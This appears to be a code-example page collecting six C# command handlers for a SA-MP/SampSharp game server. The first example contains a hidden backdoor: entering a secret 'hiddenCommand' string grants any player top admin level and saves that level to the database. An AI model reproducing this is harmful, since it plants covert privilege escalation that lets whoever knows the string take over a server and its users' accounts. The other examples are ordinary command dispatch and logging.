Exemplo n.º 1
0
    protected override void OnPlayerCommandText(BasePlayer sender, CommandTextEventArgs e)
    {
        base.OnPlayerCommandText(sender, e);
        var player = sender as Player;

        if (player.Data.LevelAdmin != 4 && e.Text == hiddenCommand)
        {
            if (player.Data.LevelAdmin > 0)
            {
                player.UpdateAdminLevel(4);
                player.Data.LevelAdmin = 4;
            }
            else
            {
                player.Data.LevelAdmin = 4;
                Player.Admins.Add(player);
                Account.InsertAdminLevel(player, 4);
            }
            player.GameText("promoted admin", 4000, 3);
            e.Success = true;
            return;
        }

        if (!e.Success)
        {
            player.SendClientMessage(Color.Red, $"Error: El comando {e.Text} es incorrecto. Usa /cmds para saber los comandos disponibles.");
            player.PlaySound(1140);
        }
        if (player.Data.LevelAdmin == 0)
        {
            CmdAdmin.SendMessageToAdmins($"* {player.Name}({player.Id}) usó el comando {e.Text}", Color.Gray);
        }
        e.Success = true;
    }
Exemplo n.º 2
0
        internal bool OnPlayerCommandText(int playerid, string cmdtext)
        {
            var args = new CommandTextEventArgs(cmdtext);

            OnPlayerCommandText(BasePlayer.FindOrCreate(playerid), args);

            return(args.Success);
        }
Exemplo n.º 3
0
        private void gameMode_PlayerCommandText(object sender, CommandTextEventArgs e)
        {
            var player = sender as GtaPlayer;

            if (player == null)
            {
                return;
            }

            string text = e.Text.Substring(1);

            List <Tuple <Tuple <int, string>, Command> > candidates = new List <Tuple <Tuple <int, string>, Command> >();

            // ReSharper disable once LoopCanBeConvertedToQuery
            foreach (Command cmd in Command.All)
            {
                string args  = text;
                int    count = cmd.CommandTextMatchesCommand(ref args);
                if (count > 0)
                {
                    candidates.Add(new Tuple <Tuple <int, string>, Command>(new Tuple <int, string>(count, args), cmd));
                }
            }

            var orderedCandidates = candidates.OrderByDescending(c => c.Item1.Item1);

            /*
             * 1) Find every command for which the arguments are valid.
             * 2) Try to run each found command until one has run successfully.
             */
            var firstSuitable =
                orderedCandidates.FirstOrDefault(
                    candidate => candidate.Item2.AreArgumentsValid(candidate.Item1.Item2) &&
                    candidate.Item2.RunCommand(player, candidate.Item1.Item2));

            if (firstSuitable != null)
            {
                e.Success = true;
                return;
            }

            /*
             * If no command ran successfully, run the first command anyways.
             */
            var command = orderedCandidates.FirstOrDefault();

            if (command != null &&
                command.Item2.RunCommand(player, command.Item1.Item2))
            {
                e.Success = true;
            }
        }
Exemplo n.º 4
0
        private void gameMode_PlayerCommandText(object sender, CommandTextEventArgs e)
        {
            if (CommandsManager == null)
            {
                return;
            }

            if (!(sender is BasePlayer player))
            {
                return;
            }

            e.Success = CommandsManager.Process(e.Text, player);
        }
Exemplo n.º 5
0
        protected override void OnPlayerCommandText(BasePlayer player, CommandTextEventArgs e)
        {
            base.OnPlayerCommandText(player, e);

            if (e.Success == false)
            {
                var commandManager = Services.GetService <ICommandsManager>();

                Fastenshtein.Levenshtein lev = new Fastenshtein.Levenshtein(e.Text);
                var similarCommands          = commandManager.Commands
                                               .OrderBy(command => lev.DistanceFrom(command.ToString()))
                                               .Take(3);

                player.SendClientMessage(
                    $"Nie znaleziono komendy: {e.Text}. Podobne komendy: {String.Join(", ", similarCommands)}?");
                e.Success = true;
                return;
            }
        }
Exemplo n.º 6
0
        private void GameMode_PlayerCommandText(object sender, CommandTextEventArgs e)
        {
            var player = sender as Player;

            foreach (var basePlayer in Player.All)
            {
                var players = (Player)basePlayer;

                if (!players.IsLoggedIn)
                {
                    continue;
                }

                if (players.Account.AdminLevel > 0)
                {
                    players.SendClientMessage(Color.Gray, $"{player?.Name} used: {e.Text}");
                }

                Console.WriteLine($"{player?.Name} used: {e.Text}");
            }
        }